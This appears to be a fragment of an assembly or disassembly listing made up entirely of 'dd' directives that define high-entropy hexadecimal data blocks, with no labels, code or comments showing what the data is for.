		dd 22AE2C1Ah, 2CAF6ACh,	229F5BEDh, 0D540EAD1h, 1125C946h
		dd 3921FFCDh, 40422528h, 8A12C6B7h, 13035D4Ch, 0D8450DD9h
		dd 8AFE7E9Ah, 0FCE909D8h, 57201AA4h, 0AE1D9068h, 0B86FD3BFh
		dd 64931589h, 6065F15Dh, 622309D0h, 0BA00DF93h,	6C6E0790h
		dd 0F7D35C21h, 0EA4F8084h, 8C8ACD44h, 8E84AB12h, 0B3F934C9h
		dd 0B4829438h, 0BAE030AFh, 568143D0h, 17F8C420h, 0C0730752h
		dd 4C3F3ED6h, 0B812D4DEh, 0C70F4FBAh, 0A2E5E877h, 383EE1E8h
		dd 787E37Fh, 10954B4Fh,	0D6FC0ED2h, 586F8089h, 0E6C102D6h
		dd 199A0449h, 0D93B1B06h, 91B574DCh, 9F510EBh, 0F526B067h
		dd 0D7FA31E4h, 2C13A050h, 0FD54FAF0h, 0D616F2EFh, 5307E41Ch
		dd 631059EAh, 4E3BE91Bh, 0AAA2D10Eh, 3017ED43h,	6F0F7C9Ch
		dd 0B2E91D5Dh, 309F89FFh, 68806901h, 65565AF7h,	14DCBAB1h
		dd 13F378C7h, 0AA016E1Fh, 4C08CA10h, 57C25A36h,	0BE9B805Fh
		dd 0BD74A598h, 0EA17A3FEh, 753C5EFh, 0E03AF645h, 68FA0141h
		dd 0F1658327h, 5AC8241h, 42FD6BC3h, 2F1A577Fh, 8E5009C9h
		dd 0E04BEB62h, 0B419B842h, 9501F276h, 0EDC08971h, 0E7C6591Fh
		dd 8402D69h, 50562858h,	0B83B4082h, 5C31DD0Eh, 0E4C56F0Ch
		dd 9DC2EA89h, 805901C9h, 1F8730E4h, 0EDE09241h,	0E8F0BF02h
		dd 0CAF1C3E6h, 36118660h, 0F2BB669Dh, 0BB9A4F90h, 0D1E05253h
		dd 5BF27D29h, 0AE008422h, 66B7B8Bh, 15B2607Dh, 7512055Dh
		dd 60778768h, 5BB39E98h, 29854C5Bh, 40CE94F5h, 583F5545h
		dd 6425E23Ah, 0E75DFF0Bh, 84192817h, 407B0906h,	93036983h
		dd 2E9F464Dh, 7525E9C0h, 5EC13621h, 7DB4143Fh, 251DCEF0h
		dd 78F41B48h, 12E4B500h, 0BFF10130h, 0A63D9A00h, 1DB61F88h
		dd 8CC8C10Dh, 85D87FF2h, 6EAAF797h, 0D34517E4h,	740E07CEh
		dd 522A1471h, 4B00EAECh, 35754A48h, 33256689h, 0A018E03Ch
		dd 56E93F7Ch, 97C82D83h, 0D5C16724h, 60CE2EC1h,	2DEFDC7Eh
		dd 487738DDh, 816680F8h, 7527F63Ch, 9275A77h, 528C49F3h
		dd 0F43AA721h, 5E5FF04Eh, 0C325E2F8h, 7FFDBB78h, 464A82h
		dd 0A0342A0Ch, 93D240F2h, 0E9B0D4F9h, 9997A7CCh, 30341FDBh
		dd 0B70A60E8h, 1AAE150Ch, 0BD841600h, 0F91819A7h, 0B529045Ah
		dd 0AA451DD5h, 2C0DC109h, 6F3CCB0h, 16BEEE4Dh, 0FC051419h
		dd 14E832FFh, 6908527h,	5752ACh, 73C01D25h, 0BFFB94F6h
		dd 0BC477D00h, 5F8D055Bh, 85890C59h, 0C1692B21h, 39CBF20Ch
		dd 28050C42h, 60C0A9CAh, 14355B13h, 7B008026h, 0B31F8315h
		dd 3C76401Ch, 22048245h, 80492886h, 14D6FE37h, 9D8B5706h
		dd 28601E6Dh, 7BBC6051h, 61C107FAh, 3F0F028Fh, 9D895FB8h
		dd 2C2C3D34h, 0EE6187ACh, 0E03CF6EBh, 0F1B01EEh, 0B02F0E85h
		dd 0A0E9C3BFh, 0F86617Bh, 0A1C07BADh, 0C8207369h, 233FDF19h
		dd 0E30D2400h, 4A1EE2B9h, 0C45A005Eh, 0D9BB43EEh, 9100951Ch
		dd 576D0207h, 0F79F0C8h, 8D62D5BAh, 77409B81h, 75007059h
		dd 24A3CF00h, 4107AD95h, 8004A731h, 0AE01D53Bh,	3860E020h
		dd 4D2B2918h, 1A3A1DC2h, 8095DE1Bh, 6FE04E96h, 0C93820A7h
		dd 280A06E6h, 42294CEEh, 0DE16117Fh, 11E70D11h,	93214AB3h
		dd 42DCA23Ah, 11112121h, 0B16B0057h, 1FE155D3h,	81F500F3h
		dd 2591977Bh, 2F001AE0h, 0A54044BAh, 398E65C3h,	796E2Ch
		dd 0E68A10ABh, 7BF53349h, 56D4DC07h, 9C605C6Ah,	3970650h
		dd 58B4BC34h, 37E808F8h, 0A13C7981h, 25290038h,	803D0417h
		dd 369A9857h, 2152DE23h, 9092060Fh, 7F38933h, 0AF00C66Bh
		dd 749D3E5Eh, 35F0FEh, 0A5676B70h, 2C633C97h, 153EE00h
		dd 0DE1B6089h, 390B1E34h, 0BA624043h, 8F04D620h, 58CF971Ch
		dd 96B981C0h, 5CA8C8h, 490E86F7h, 697F897Ch, 1EEC1D05h
		dd 0B5C07371h, 0EE82AA61h, 0E8A65040h, 0E11007EBh, 707E837Ah
		dd 0A5CAA41Ah, 0ED579607h, 61D1B3FCh, 0B2F14D52h, 7742E0C2h
		dd 9D510366h, 417048B5h, 0E127A9F8h, 85BC7100h,	95D5AA1Bh
		dd 1ED6FA1Fh, 0F0F12Dh,	0C92E3724h, 261E6B14h, 0CA2C95D3h
		dd 0BD726200h, 0B42B0Ch, 2471C1FEh, 2F03110Eh, 0BAE23D00h
		dd 84D7771Dh, 16A9001Ah, 0DF401F94h, 915C56E7h,	0B7A5408Dh
		dd 64B98003h, 80A118A2h, 0CB88F2h, 0ED515A3h, 7B1AF894h
		dd 0DDE57A00h, 620A3E61h, 81B100C8h, 0E4E6703h,	7100D85Eh
		dd 8AFEE4AEh, 76A20h, 38AD3D7Fh, 0CE5E26DAh, 141F5198h
		dd 0D20293FDh, 40012E28h, 7798288h, 0E7198D7Bh,	43B9B01Bh
		dd 5D00AA3Fh, 1246E2A8h, 1DD080Ch, 44E69D7Bh, 0F47CF416h
		dd 1E0352B8h, 93BDDB82h, 617FD734h, 51647394h, 0EC3820h
		dd 3CEDFC84h, 0E518954Eh, 0EBF41B00h, 425C2391h, 0E9160463h
		dd 8740C009h, 0F58020CCh, 0B3FE8FBBh, 0CD78E000h, 0B6F78821h
		dd 0D2DF092Ch, 4800A434h, 3F5A179Eh, 1B0153F8h,	7DDBC2Fh
		dd 86CC13E6h, 17B906B1h, 7469FAFEh, 5B763E00h, 0C5640C3Ch
		dd 0DAAA005Ah, 12137CB0h, 7200B7D0h, 39C0176Fh,	321ECA55h
		dd 28903B05h, 2A30FE00h
		dd 0E678C0A2h, 0D04A9C69h, 0F4FA8C92h, 6EE76701h, 8507740Bh
		dd 4075F443h, 0F48FF4B8h, 0C4170068h, 905FC95Ah, 33047C37h
		dd 180B6976h, 91EC9DC0h, 0ACDE03F4h, 0CFD22813h, 8B6C49F8h
		dd 4DB7361Dh, 1F07055Ch, 0AAC13799h, 31D44315h,	0DBE9036Ah
		dd 28F03466h, 687AD0D7h, 3D0F1AECh, 0E38D5A79h,	98AE0DC6h
		dd 2EB56632h, 1354485h,	0A0A129CCh, 0D18FC0A5h,	4011CD01h
		dd 2DBD24FAh, 3E8830h, 0B29EFCA9h, 52FE1C5Ah, 0C0F73Bh
		dd 0C3E59BF6h, 76B2F8Dh, 3991182Dh, 0EF2B13C1h,	0E4C66391h
		dd 6003848Eh, 227F134h,	0D7D0A026h, 159490BBh, 0F445E724h
		dd 52AD9B00h, 7B163286h, 1799E01h, 9D032E99h, 760F69E4h
		dd 0E3823C68h, 0A75B9B00h, 0F83915F9h, 0BDC99700h, 76E91801h
		dd 7920A17h, 2CC4FFh, 8BBFB842h, 7F008258h, 0A5A6B346h
		dd 2BC94D1h, 81D6FAFDh,	0BF80392Ah, 579C3522h, 64205200h
		dd 11D4D9EEh, 0FE6A07F1h, 804F19ADh, 0E10C52Ah,	8EF90200h
		dd 0FCA33EDEh, 0D82C002Eh, 4FE4E9BEh, 760083E3h, 32CA3C38h
		dd 0F4CED71h, 958063ABh, 399F47C0h, 660141BDh, 82C7EAAh
		dd 4C64AFCFh, 295D07C7h, 80420DF5h, 0A228A97Dh,	6C2F6500h
		dd 32A546A6h, 31540E1Bh, 802090C7h, 3928EE73h, 82B3D1C7h
		dd 0B6F32BF3h, 0DB740088h, 0BB400DC1h, 0E90087B0h, 0CC0C36B3h
		dd 0F4E80971h, 910526E6h, 3FFD0764h, 6AB1019Fh,	0C345E4A6h
		dd 580FD700h, 87CFAD40h, 51BB0432h, 80EDF2B6h, 34A8F87h
		dd 0EB00EFFEh, 0A7095E49h, 0CC99AAh, 0AB504786h, 8FF9E729h
		dd 5C5F1D00h, 5653CD14h, 73389803h, 0A64300BAh,	45E3AF71h
		dd 7000B11h, 8A70B5E2h,	0D44A7Eh, 0D57334B0h, 0BCDE7D1Eh
		dd 803A9400h, 0A3DA361Ah, 6CCB0F85h, 4D21E644h,	24F2C2Bh
		dd 5851E0A4h, 0CA2F0083h, 0BDB1AFA6h, 0B7001F9Ch, 40187526h
		dd 0EBA072h, 8B642BB3h,	6774B585h, 8163500Ch, 13A3196h
		dd 338849BAh, 608480F2h, 0C01C3708h, 0F8A6FFA4h, 0B5DE4D80h
		dd 398ED38h, 3EC69C64h,	6288DDF1h, 0E1E68C87h, 0FDAD0400h
		dd 0FB516576h, 0E3DB00D6h, 2C5ACC0Bh, 4700E943h, 98449A8Fh
		dd 0B0AAF91Bh, 58730068h, 6EC6249h, 8B0082A9h, 0A01E0D32h
		dd 0C03BA4D5h, 4BB5FA38h, 3F00184Ah, 0B9FEDF77h, 7607E14h
		dd 419ABA58h, 3439506Fh, 915883EDh, 0D91F0258h,	0C8F0C57Eh
		dd 0CB9E68h, 394184CAh,	0A7C84F0Dh, 0D9785700h,	0AB5D6F6Ch
		dd 0C4D400E9h, 3036D825h, 9B0A0B7Bh, 84450F92h,	4810F092h
		dd 0DAE0C84h, 303116Dh,	0C650A202h, 23A8B2C8h, 0C500D01Eh
		dd 0F6ED8634h, 8D1577h,	0C981C78h, 47480793h, 29A8539h
		dd 0E329023Eh, 0D96E4326h, 3470CDC3h, 0C210015h, 4168DE9h
		dd 5F389EE4h, 0A88026B6h, 3BDD4200h, 2022D8Ah, 13DC97A9h
		dd 0FFC03DFDh, 880056EBh, 8A946D93h, 745D178h, 76133E9Ah
		dd 6ED8A03Fh, 0F100170Ch, 63F656DCh, 0DDB91Ch, 71E75FC1h
		dd 0D532FA05h, 0D8FBBF00h, 0E9A2BA06h, 0C12A005Dh, 0F4B44D4Eh
		dd 42E459Ah, 4900121Ch,	0E898129Fh, 5F33003Dh, 0EA1B0F20h
		dd 13121655h, 0F8003E31h, 0A1B0FB53h, 5079003Ch, 0F5159C41h
		dd 3672805Dh, 0CAE3F800h, 0D1403221h, 0B7F90F13h, 9008584h
		dd 6ED3AC22h, 0E8494100h, 470FDECDh, 3DF32E08h,	9D9E001Ch
		dd 0E41EAE3Ah, 0F6382272h, 9AFA0242h, 0C070E0A5h, 90D781FFh
		dd 24E97308h, 8068A3F4h, 98B04758h, 0CAF281AEh,	0CF3F6D17h
		dd 3E5D4700h, 1FFFB612h, 80E6715Fh, 0FB110406h,	3A7AB29Dh
		dd 0E7D980E9h, 502D24CFh, 0CDC400FDh, 0E968A930h, 0F300BA94h
		dd 965E7764h, 0ECFDACFEh, 505B098Ch, 0F7F71Ah, 0D121723h
		dd 71BC01CDh, 74B2842Ah, 0AD98386h, 0F0B4CF1Ah,	9DB7B1Dh
		dd 83927645h, 10CBD827h, 9DB37C53h, 7B7A5D00h, 0D3AF064Eh
		dd 0EECB0E3h, 0E7D5503Eh, 9490E80h, 41603545h, 641B7758h
		dd 768E0103h, 0D20CDECCh, 814C82Bh, 0B10F8376h,	430B1FDCh
		dd 90C2A299h, 67230h, 0B64694F7h, 91874017h, 77716D03h
		dd 99BC19E7h, 26F0B167h, 285900FAh, 0CD1518C2h,	470078B7h
		dd 0BD3491CEh, 2D6953h,	92011F94h, 2B866B4Fh, 80E1BA38h
		dd 15A43A20h, 58919Eh, 6FECFD38h, 0F216997Fh, 700243FEh
		dd 94937A3Fh, 5C93E019h, 0B8077F52h, 75A800D4h,	3F7CF8Bh
		dd 9B0053FCh, 495A733Ch, 0D02D1Bh, 46D7BF43h, 0AEEB6E95h
		dd 5D80996Bh, 6A3B5A80h, 570EDFA8h, 6A651850h, 4C39A985h
		dd 0DED61EB0h, 11E0B8CCh, 0EF040070h, 8BA16BAEh, 0DFE2C74Fh
		dd 0A30AE900h, 0FDEB6C0Bh, 0E61C1E5Ch, 671C07Ah, 5928EA5Bh
		dd 99AFB20Fh, 0A9C787C3h, 1F9B91D0h, 0E3B707D7h, 20CC72B3h
		dd 0EACECF28h, 6C421700h, 0AF5BC035h, 18F20053h, 7EAE570Ch
		dd 273F91EEh, 0FD120EC5h, 4B59E3B5h, 0F74ABF0Eh, 0F5C74E00h
		dd 0A0994931h, 0F454D9F8h, 0CCE8DEh, 25C28E94h,	0C559CF8Fh
		dd 9A005890h, 6CB0A66Bh, 2A7AFE1h, 0FFF6CE98h, 734351FDh
		dd 0CD5556F8h, 0F9195F01h, 886A40BDh, 38A0DC44h, 956B1FC0h
		dd 7BEF802Ch, 5BA67C8Ah, 9C367E00h, 69D101B6h, 0C0610092h
		dd 7B08A96Ah, 5300D5E3h, 76D6831Dh, 0D88CE1h, 0D7E85F84h
		dd 0B169825Eh, 0BD9BC50Fh, 0FA1200E6h, 1200979h, 10CD3233h
		dd 217EB7DAh, 0F17E01Fh, 8898E30Fh, 0A4566087h,	0B2D631h
		dd 0DA058F73h, 7CE2A42h, 0E7B770Fh, 0B086A0FAh,	0CE848h
		dd 0B7EDFCC8h, 8F213E1Fh, 40005B0h, 7D46FFAFh, 3E6B631h
		dd 243C1070h, 0C3E8CA1Bh, 2007453h, 0EA076687h,	0E6C96BEBh
		dd 52E80E26h, 0BEA73AC6h, 0D1E30081h, 5B015E76h, 57036F8Ah
		dd 0F5E409A9h, 0FC97009Fh, 6D3ACDDFh, 0ED1FE6FBh, 85015640h
		dd 0C57486C8h, 281C4880h, 15FCEB1Bh, 2B07BEE0h,	0E4EAEF61h
		dd 0D5140310h, 0BC0A00C3h, 0B106CC58h, 0C2007280h, 0C5834587h
		dd 0C1257E23h, 0AC15EB59h, 0BD74708Ah, 5E0011E2h, 0ABFDFC2Dh
		dd 0B2BE5FC2h, 1E311FC4h, 0DAF1C09Ah, 0A1B81ACBh, 8D55A800h
		dd 3FC2337Ah, 1ECF00E8h, 4E9FA0BCh, 2F13906Ch, 2D015BBEh
		dd 8EB204EEh, 1C6377DCh, 897E9568h, 948042FDh, 0C92CC3B3h
		dd 4D3C8601h, 2A839FA9h, 7CCA07F0h, 0A1D4F054h,	0B8E03408h
		dd 8F9700D9h, 0F4B20B16h, 0F300F8CDh, 0F1791284h, 24C1FF0Ch
		dd 3AD8119h, 0C73C342Fh, 7C863803h, 0CB1B2A2Ch,	0BFE3C1BAh
		dd 0FA037883h, 0CAA111B3h, 484EF024h, 420798C0h, 76DE34FCh
		dd 0E3BA00F7h, 3E9B3F9h, 0C9053C94h, 0A9ECC1ACh, 9149040h
		dd 0FF056Dh, 4697D85Eh,	0E8343AC2h, 0BBA00A1Eh,	0DDD459Fh
		dd 81F1E80h, 1E435924h,	1E10DB2Dh, 5658C36Bh, 26D0C14Ch
		dd 0A83B7888h, 525B0021h, 0D9EEB19h, 109A00F3h,	718BF0FDh
		dd 0FF01EE7Bh, 0DF4558C0h, 1EF89195h, 15CA160Fh, 1FF50001h
		dd 2ACC48D5h, 0B0541D01h, 5F536851h, 0AA03C0h, 0D82B096Ch
		dd 28F32CA1h, 4A5C3902h, 0F7F25EA7h, 0E5418CE0h, 0F53ADA06h
		dd 3E97D19h, 85D5868Dh,	81EFC496h, 513D83AEh, 8F64AA98h
		dd 79B4108h, 0AE525287h, 27A89184h, 602067D0h, 46C1114Dh
		dd 0BD28FABAh, 9D7B1C38h, 114CA930h, 18D3BFB1h,	81B5AE43h
		dd 0FA18D793h, 2D119B19h, 384D09C9h, 9CC1FF28h,	146FC09Dh
		dd 11410537h, 0D828B6C0h, 0A76E003Fh, 17A0F077h, 9A1CAAB7h
		dd 0C18C0AADh, 692D0A6h, 59BD41EAh, 760010A5h, 0D1CC8695h
		dd 4C884Ah, 0AC45D24Dh
		dd 9D54FE2Fh, 1685B00h,	0D002ADC6h, 3C2E7CFDh, 3C3CC937h
		dd 6015F0F6h, 0EED799F6h, 0D307D0E3h, 1508445h,	0F8003027h
		dd 1B0A47h, 2CF1B3FDh, 0BB1F5D40h, 0B0F3CA00h, 0EFC1A1FBh
		dd 4899600Ah, 65CD7E8Dh, 91A0B560h, 60ED7CAAh, 0C5C88857h
		dd 8C80E418h, 0F14F00A8h, 726F9043h, 34287E6Eh,	3E44C830h
		dd 2C5607CFh, 80D3EA46h, 0EEC843E8h, 0FDA78801h, 3833822Fh
		dd 0A45001D1h, 0A821C580h, 0B8EAB294h, 688A06CAh, 19A9CDFEh
		dd 6114643Ch, 0D91B02F1h, 0FF79E9CFh, 3B3DCD4h,	3C032EBAh
		dd 59EE14FEh, 69384400h, 664D2871h, 1F7C2Ah, 0F03CEFCAh
		dd 8BF757Eh, 0C1B43867h, 9378F250h, 84AF3907h, 0AFF0374h
		dd 0F588BDC7h, 1E49F80Eh, 0DF064029h, 3D013321h, 981F42F8h
		dd 0AB35030Eh, 5E71CE3h, 0F4140C3Bh, 0EF00F718h, 187C69C9h
		dd 7454B1CAh, 3B440131h, 0DF811D65h, 37E0D0ABh,	0E105C21Dh
		dd 0F0215F18h, 0AC810034h, 7DC1FB45h, 35E019E3h, 0EB0057F0h
		dd 407E87BAh, 0CCA2CF8h, 34F521D0h, 0F0F57A68h,	7300453Bh
		dd 7603DBFh, 13E7B03Fh,	0F38F4Dh, 1ADF314Fh, 7D307745h
		dd 0C13B202Eh, 0E7B429E0h, 921CE220h, 3C32830h,	0F5EB7B49h
		dd 0B90337B1h, 0E5777325h, 1B384C5Dh, 0B1BBAB00h, 0D6846D23h
		dd 3A07CFF0h, 0B466C4Bh, 1C7EEB0h, 0CD20A354h, 118BA880h
		dd 5157004Fh, 66C53F0Dh, 903D1277h, 0D358E0FDh,	0DD4495h
		dd 9E3BF250h, 0F597A17Eh, 0F48A0C18h, 1A4548h, 6AF8ED93h
		dd 94C767A2h, 2B873A00h, 3C442118h, 956200D6h, 8C32228h
		dd 4701F54Fh, 8F72F3A1h, 68822AB9h, 0EB467F3Eh,	0BF6FB483h
		dd 0F006FBC9h, 373942D1h, 0B845304Ch, 85261Bh, 0E616B197h
		dd 0E5EEBC40h, 21C025E8h, 5A851FF8h, 0C86C1565h, 9A038434h
		dd 0E8D1F301h, 5BCAB000h, 8B84FAD2h, 9200098h, 7D39AFB9h
		dd 0B4ECD6A4h, 0ABDEA300h, 0B60CE0C5h, 980660CEh, 300DC013h
		dd 58E00745h, 106262FDh, 0ACA32E53h, 800C9C5h, 0E3B4C0B8h
		dd 1AC1885h, 6920330Ah,	0D0C64EF8h, 6D180F3Ch, 0B2C1B131h
		dd 2E217C78h, 10C1FA5h,	0CAC50B35h, 6B08833Ch, 14579Dh
		dd 1D440D18h, 404AE331h, 0E1AF1728h, 793134F2h,	0B9F5E1EBh
		dd 7B7C8022h, 842B0089h, 0E79D67BFh, 3609AD92h,	30B2CA0Bh
		dd 11812494h, 8835ABE2h, 0FDA85Eh, 39E21881h, 0A361476h
		dd 66B1A30Ch, 301FA8E6h, 0E48141D2h, 8DB071DDh,	0C3F0C866h
		dd 21DB60F9h, 0B571E5FEh, 93E40D05h, 0BC0F6197h, 0AB6CC2C1h
		dd 80EAE26Eh, 0AE2E0458h, 38426182h, 708D676Dh,	0E3063FD1h
		dd 1C8776B9h, 0D6740028h, 0ECAAB388h, 0BF14F2B2h, 81D42B15h
		dd 0A80334Ah, 95FAAE4h,	216BF8AEh, 541825h, 794A0F70h
		dd 6D001C8Ah, 6F9714CFh, 647133h, 8104B1F0h, 0C3602C86h
		dd 1E0F0C90h, 0AFB9E57Fh, 0EA8987h, 0B2415410h,	127635B7h
		dd 0AE7F0211h, 108AE49Ah, 564860C0h, 68030281h,	47CCF479h
		dd 2A4CF80Eh, 6D571173h, 7F500066h, 800CF312h, 0C21D3034h
		dd 0AEF05D80h, 0DFB1BD04h, 6F00E27Eh, 30CB9657h, 48B23E02h
		dd 8051A43Bh, 450D0F38h, 1C2B00F6h, 243CCE17h, 600D172h
		dd 0CE1B12Ah, 1D9296Dh,	17D87323h, 0E62B5F4Ah, 3BCCB088h
		dd 10D39708h, 443CE62h,	0A13C88D2h, 809EAC3Ch, 606F8FA9h
		dd 0C361545Dh, 0FA999181h, 13D05FD8h, 3940D200h, 6A05566Eh
		dd 0F8A80AEBh, 2AD29D62h, 204509A0h, 0E884E496h, 81C467AEh
		dd 4C55D082h, 0EF348154h, 2581E8h, 0E3B239F5h, 0E42F3384h
		dd 5C241326h, 71957A01h, 9CE05EABh, 0E62E02B1h,	1B8B88EBh
		dd 0FD34B041h, 0BD1813Eh, 0FFE71FB0h, 9E80B7F3h, 36C9DAFh
		dd 806DD453h, 71E9CB12h, 4C3189F5h, 0D42C2031h,	26E99B74h
		dd 0D248DBh, 104B25E2h,	39D0EC17h, 0C12400E8h, 7D69C518h
		dd 40C3F7DFh, 8860DC69h, 9B85219h, 5C812600h, 4F715610h
		dd 166985Dh, 91B31D3Fh,	3467B8E1h, 34902210h, 0B2B7B409h
		dd 0B60C0842h, 0AC4CA134h, 4CA1C88Ah, 0F5834839h, 216857BCh
		dd 7D8064CCh, 332FA737h, 559D0204h, 13F91B4Fh, 4974EC98h
		dd 0F336AA00h, 0DC1764A2h, 425300B6h, 0C251301Bh, 0AC0C412Eh
		dd 506D1AE2h, 0EE020AA0h, 9DDCABBFh, 0F940C27Ah, 24602232h
		dd 486D1F5h, 6B2171E3h,	20D962F8h, 0B671EB04h, 20F60100h
		dd 0CE6A5F3Ah, 8957246Eh, 0B9DB8184h, 0E9B013B7h, 22E440E1h
		dd 81FD4C75h, 9C6F5E1h,	0B12059EFh, 0BECE0010h,	0D2DC2E3Fh
		dd 0B00F8EE8h, 5B42923h, 0A0426F35h, 43A7A3CAh,	2260E44Ch
		dd 0D9D6E481h, 3AEC342Dh, 0A1603881h, 24419E09h, 0EFA8EE81h
		dd 1B9881F6h, 3DAF34C9h, 4B8C9EFh, 731F3981h, 3065AD6Fh
		dd 1A4CE408h, 8AEB0C2Ch, 3EEA91C4h, 7338779Ch, 4B31170Ch
		dd 21C0E109h, 6777B50Ah, 0FC2F0286h, 350F96B9h,	8569E440h
		dd 80CC5731h, 3180BF8Ah, 547F4984h, 64186A0Fh, 0E019F38Bh
		dd 2B710022h, 0F8B1873Eh, 0F20B0706h, 0A06B6EB9h, 25E79C30h
		dd 11BF2E88h, 0CFA804Ch, 0ED78264Bh, 8044D148h,	89BCF28Dh
		dd 80AF58B4h, 4C354281h, 18CC5036h, 7407B01Ch, 69278B11h
		dd 44292552h, 2E9C7C04h, 3BA6B6h, 8545C32Ch, 0D491F2AFh
		dd 1CC563Bh, 0ABDD811Fh, 690CE04Dh, 36EE88h, 25A56481h
		dd 899551E3h, 3A01EF05h, 30900F97h, 4849B567h, 0B804B004h
		dd 0C811EF7Eh, 7710538Ch, 0D0581DAFh, 0AA0C2C22h, 181B036Eh
		dd 9DB20071h, 0AFC18539h, 18FEE3D0h, 616454A5h,	7035CD60h
		dd 0F5039091h, 0CF0CA086h, 0A4D25CB5h, 28804072h, 0EC10C913h
		dd 397C1282h, 0C3DBACA0h, 5A0152B0h, 78C50AC2h,	57F82B0Bh
		dd 32810035h, 8F6C83AFh, 40C22C7Dh, 0C8668634h,	17846D60h
		dd 613A42D2h, 31851DC8h, 8CE405A4h, 0FB881FC8h,	8476F2h
		dd 0BDF8F35Eh, 0BAAB6BCDh, 4A35E608h, 0B79B8144h, 0BC146A87h
		dd 31CF0168h, 38777EB0h, 9044A043h, 0CB13A5Bh, 0F58182AFh
		dd 0B5146B81h, 2CC0E03h, 85315EB6h, 296700EDh, 7D12C122h
		dd 0C1EC587h, 0EBDD5681h, 204E8221h, 928AD011h,	2C6C9447h
		dd 0F5FADF43h, 0D8518421h, 205464h, 0BDC89E59h,	26D5D22Ah
		dd 0CECB2103h, 0C0A152F6h, 1D9F5514h, 351F03Ch,	0A63319D7h
		dd 0D25A1DC0h, 6BECB07h, 0C940D1BDh, 750FD301h,	1FEB0025h
		dd 0BE64436h, 0D100A850h, 0C7C62711h, 29F380Fh,	0D552C1CAh
		dd 389442CEh, 7FC0F83Ch, 5F37D1F1h, 8F13118h, 25E1D9D0h
		dd 41EEB080h, 4CF5C8CBh, 0C0003898h, 0F4F1A158h, 7CAB4C9h
		dd 0E5B52515h, 0C3FF601Eh, 0AB0C560Bh, 0D10742EEh, 0E8AF3C38h
		dd 39D4361Ah, 43CF812h,	2FA64B1Ah, 78114010h, 1DF34B94h
		dd 0D2D30Ch, 46B7EBECh,	0D8A08B4Fh, 4360D4B4h, 7845BB30h
		dd 188C6F59h, 9845212Fh, 39080975h, 0E8108Ah, 36AD9A4Eh
		dd 8F51C8F5h, 0E9DFC52Ch, 0C9F442E9h, 0A3600C99h, 0BA8C0C88h
		dd 90853009h, 0C399E228h, 6946B658h, 8CB4793Ch,	4095D6AFh
		dd 0C8CC493Ah, 0DF3BC406h, 5415595Ch, 0A78B040h, 5838CA3Ah
		dd 7799F408h, 0F13BFCC4h, 0F80E9A23h, 405A8733h, 88C7EB98h
		dd 2F49C0F9h, 0E7B206CCh, 0FA283E32h, 0ABF01D81h, 3EDC26C4h
		dd 0E1F5897Ch, 0B8E42439h, 36AB5E13h, 77C1E000h, 144172F2h
		dd 0C7EB17Ah, 122E441Eh, 6DFC42ECh, 3CC8F157h, 350F71BAh
		dd 0EA70376Bh, 3B020C77h, 68E94634h, 0A09D6914h, 0B084B058h
		dd 64315344h, 7720E0A2h
		dd 0EFBF7322h, 0BC088C54h, 10B8486Ch, 6151893Fh, 0A5C84A7Ch
		dd 0BF0A8E9h, 0F86753C6h, 4053F502h, 5C6142D1h,	104508B6h
		dd 678C6998h, 0C15C1F40h, 0C63297Eh, 1A45BE8Ch,	812B80E4h
		dd 9946ABDCh, 0B998327Ch, 31BF6E10h, 0A91D545h,	0C56882CBh
		dd 239F6FC8h, 30BD2ED1h, 0C618EB88h, 643CCA24h,	3B85CC10h
		dd 0C994207Fh, 3955E56Fh, 50E836E0h, 958B360Ch,	46DD8073h
		dd 73120C99h, 8568C00Ch, 4B3B1A4h, 0A6B638F8h, 0D2B40588h
		dd 844542Eh, 454258F4h,	0F3949385h, 8B2FF278h, 0A10C4CC8h
		dd 3E123028h, 0A3A380B9h, 690A0C99h, 0DC048C59h, 0CCF2971h
		dd 1F99BDE1h, 99774504h, 0E8A88C52h, 6880148Ah,	0C20C995Dh
		dd 8C840F33h, 0A29C9AA3h, 6D443DBEh, 0CA49B136h, 16CCF2A0h
		dd 0C285322Eh, 144A2B12h, 106BD876h, 6AA7D374h,	0F950203Ch
		dd 0E9810AF2h, 3D46357Bh, 0A82D2944h, 8AC481B7h, 0A6B1E4B4h
		dd 2481DFD8h, 54B9D958h, 0A72C9A4Ch, 0B26B8B74h, 87E437DCh
		dd 0E901BCE2h, 58B9F10Ah, 590430D7h, 7818676Ah,	2815FE08h
		dd 759F44DCh, 0DD12AF18h, 1ECC3C18h, 0E8104255h, 0D7AA3EC4h
		dd 1FBFD44h, 0A822AFB4h, 9E3C8829h, 7B7EC817h, 30E812F2h
		dd 2333083Ch, 0D8CA5C42h, 0B6823CA3h, 3C853519h, 54192562h
		dd 0EB4858DBh, 25D3CFF4h, 0D0805211h, 230E451Ch, 3CD573Ch
		dd 0CFA1270Ah, 0CB9FE842h, 0A2474C0h, 444FBFCAh, 830CE714h
		dd 3007D0C8h, 4115D4D2h, 270ECBC1h, 0D551C000h,	5911C30Eh
		dd 0CA00BCA0h, 5C16DA15h, 543C03D0h, 53C7CB26h,	0A09187Eh
		dd 6ED1BD59h, 51543AD0h, 4D3FC83Fh, 56230CF4h, 0C978C7CFh
		dd 310DCB33h, 0AD1E3BEh, 12CDCF59h, 1010690Ch, 0CC062554h
		dd 0D44D11D5h, 8856507Ch, 0B21C9CBEh, 20C04529h, 1C907DE5h
		dd 0EA45209Ah, 0B82D3C21h, 956F1840h, 0D4AD4010h, 9C2FE8FCh
		dd 0E3A400BBh, 95F3F6F7h, 72F8001Eh, 0AF34C801h, 19054B3Ah
		dd 0C0E247D8h, 508CAD71h, 0B879F590h, 0C2E1EBF1h, 4C0FA08h
		dd 318041DCh, 42FB24C4h, 302908B0h, 0A164540Ch,	0C418A1C5h
		dd 1B054A10h, 443E68C8h, 0ECDCC851h, 1922D234h,	35BF2C07h
		dd 0CBA28888h, 24108A1Ah, 460B6240h, 5BCB423h, 2F62B8A6h
		dd 0F8848A29h, 0A8D25274h, 316F4B18h, 59C17E51h, 862F96B6h
		dd 4D4C3830h, 3A3C4C15h, 0F37D538Bh, 62D2F025h,	4A1AE9D0h
		dd 70D01838h, 5C8F186Eh, 4653307Ch, 7FEE68B2h, 6883CA34h
		dd 81185481h, 0A8762861h, 964A6C4Ch, 7690A190h,	1B626772h
		dd 0C9B48D31h, 4C54C5A4h, 94B1E486h, 466CE31Ch,	390D23BAh
		dd 7F4A0CF3h, 0D2308ED3h, 148C8A5Dh, 584C8041h,	4EB16904h
		dd 9578982Ch, 4078C02Ah, 5096B77Ah, 0B942A4A4h,	744DEFE2h
		dd 0C63B8B1h, 7DCB110Bh, 0F371A621h, 5F46A50Ch,	0ED7FB00Ah
